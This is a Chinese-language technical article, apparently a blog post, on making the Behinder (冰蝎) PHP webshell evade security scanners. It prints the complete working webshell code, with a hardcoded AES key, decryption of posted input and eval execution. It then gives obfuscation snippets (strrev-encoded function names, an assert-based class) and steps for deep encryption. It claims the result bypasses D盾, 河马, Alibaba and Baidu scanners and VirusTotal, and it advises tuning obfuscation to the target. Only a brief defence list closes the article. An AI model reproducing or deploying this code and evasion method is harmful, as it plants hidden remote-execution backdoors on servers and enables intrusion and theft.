冰蝎webshell免杀
字数 1134 2025-08-29 08:32:18
冰蝎WebShell免杀技术详解
一、背景与现状
冰蝎(Behinder)是一款常见的WebShell管理工具,其默认的WebShell脚本已被各大安全厂商加入特征库检测。本文详细分析冰蝎WebShell的免杀技术,通过多种方法绕过主流杀软检测。
当前主流检测工具:
- D盾
- 河马查杀
- 阿里云WebShell查杀
- 百度WebShell查杀
- VirusTotal
二、原始冰蝎WebShell分析
原始冰蝎PHP WebShell代码:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; // 32位md5前16位,默认密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++){
$post[$i]=$post[$i]^$key[$i+1&15];
}
} else {
$post=openssl_decrypt($post,"AES128",$key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{
public function __invoke($p){
eval($p."");
}
}
@call_user_func(new C(),$params);
?>
特征分析:
- 固定的
$key变量名和格式 file_get_contents("php://input")获取输入- 使用
openssl_decrypt或异或解密 eval执行代码call_user_func调用方式
三、基础免杀技术
1. 字符串反转(strrev)
$zyq = (strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
// 等价于 file_get_contents("php://input")
2. 变量名混淆
$ok = "1989870a9753c7b3"; // 原$key
$_SESSION['k'] = $ok;
$love = 15; // 替代15
3. 添加无用注释
/* 我啥也不知道.....
sjfasaadssada
dadadad */
4. 类名和方法混淆
class MOL {
public function __construct($p){
$a = null;
$l = null;
assert("/*#`|W$~Q*/".$l.$p.$a."".$/*#`|W$~Q*/");
}
}
5. 加密函数名
$zyq = (strrev("tpyrced_lssnepo"))($zyq,"AES128",$ok);
// 等价于 openssl_decrypt
四、高级免杀技术 - 代码混淆加密
使用在线加密工具(如https://enphp.djunny.com/)进行深度混淆:
- 勾选所有加密选项
- 生成高度混淆的代码
- 主要混淆技术:
- goto跳转控制流
- 十六进制编码
- 字符串分割拼接
- 无用代码插入
- 函数名混淆
混淆后特点:
- 大量goto语句打乱执行流程
- 使用十六进制表示数字
- 函数名替换为Unicode字符
- 字符串使用base64分段拼接
- 插入大量无用代码块
五、免杀效果验证
- D盾/河马查杀:通过基础混淆即可绕过
- 百度/阿里云查杀:需要深度混淆加密
- VirusTotal:全绿通过
- 在线查杀平台:n.shellpub.com等平台检测通过
六、连接测试
- 使用冰蝎客户端连接
- 密码为加密后的密钥
- 功能与原始WebShell完全一致
七、免杀技术总结
-
静态免杀技术:
- 字符串操作(strrev, substr等)
- 变量/函数名随机化
- 代码结构重组
- 注释和空白符插入
- 加密敏感字符串
-
动态免杀技术:
- 使用assert替代eval
- 分块代码执行
- 延迟加载敏感函数
- 环境检测绕过
-
高级技巧:
- 使用专业混淆工具
- 自定义加密算法
- 利用PHP特性(魔术方法等)
- 代码分块存储
八、注意事项
- 免杀效果具有时效性,公开的免杀方法会逐渐失效
- 不同加密工具产生的效果不同,可能需要多次尝试
- 实际环境中需结合目标环境调整混淆策略
- 建议自行开发混淆算法而非依赖公开工具
九、防御建议
对于防御方:
- 不要依赖单一检测工具
- 关注异常行为而非静态特征
- 监控文件修改和可疑PHP函数调用
- 限制上传文件执行权限
本技术文档详细分析了冰蝎WebShell的免杀技术路线,从基础混淆到深度加密,提供了完整的免杀方案。实际应用中可根据需要调整混淆强度。